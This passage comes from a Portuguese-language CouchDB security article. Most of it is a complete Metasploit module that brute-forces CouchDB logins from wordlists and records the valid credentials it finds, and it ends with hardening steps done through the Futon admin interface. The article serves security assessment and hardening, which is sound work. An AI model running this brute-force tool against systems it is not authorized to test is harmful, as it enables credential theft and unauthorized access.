404) # Not Found print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}") print_error("Response from server:\n\n #{results}\n") else print_status("#{res.code}") print_status("#{results}") end rescue ::Exception => e print_error("Error: #{e.to_s}") return nil endendVeja um exemplo de saida do script com a opcao TARGETURI definida com o valor /_users/_all_docs.Analisando o CouchDB com autenticacao.Abaixo um novo script para o metasploit, que realiza o brute-force de usuario e senha, baseando-se em uma wordlist. Por padrao, ja e especificada uma wordlist presente no metasploit, bastando apenas especificar o endereco remoto do CouchDB (RHOST) e confirmar a porta padrao (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por voce, basta especificar o path deste arquivo.Script couchdb_login.rbrequire 'msf/core'class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, 'Name' => 'CouchDB Login Utility', 'Description' => %{ This module attempts brute force to login to a CouchDB. }, 'Author' => [ 'espreto ' ], 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(5984), OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]) ], self.class) end def run_host(ip) user = datastore['USERNAME'].to_s pass = datastore['PASSWORD'].to_s vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'") res = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) return if res.nil? return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/) return if (res.code == 404) if [200, 301, 302].include?(res.code) vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'") else vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'") print_status("Brute-forcing... >:-} ") each_user_pass do |user, pass| do_login(user, pass) end end rescue ::Rex::ConnectionError vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server") end def do_login(user, pass) vprint_status("Trying username:'#{user}' with password:'#{pass}'") begin res = send_request_cgi( { 'uri' => datastore['URI'], 'method' => 'GET', 'ctype' => 'text/plain', 'authorization' => basic_auth(user, pass) }) if res and res.code != 200 vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}") return :skip_pass else print_good("Successful login. '#{user}' : '#{pass}'") report_hash = { :host => datastore['RHOST'], :port => datastore['RPORT'], :sname => 'couchdb', :user => user, :pass => pass, :active => true, :type => 'password'} report_auth_info(report_hash) return :next_user end rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT print_error("HTTP Connection Failed, Aborting") return :abort end rescue ::Exception => e print_error("Error: #{e.to_s}") return nil endendAumentando a seguranca do CouchDB.Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua protecao.Utilizando o futon[6], voce pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessara o gerenciador web do CouchDB.1 - Criar um usuario administrador no servidor clicando no botao "Fix this!", localizado no canto inferior direito.2 - Criar um usuario no-admin e atribui-lo (por nome ou papel) para ser um usuario administrador do banco de dados em especifico. Isso pode ser feito atraves do icone "Seguranca" no topo do gerenciador Futon, quando voce esta em um banco de dados especifico. Ou entao criar este non-admin atraves do HTTP API.3 - Criar um usuario non-admin no CouchDB e atribui-los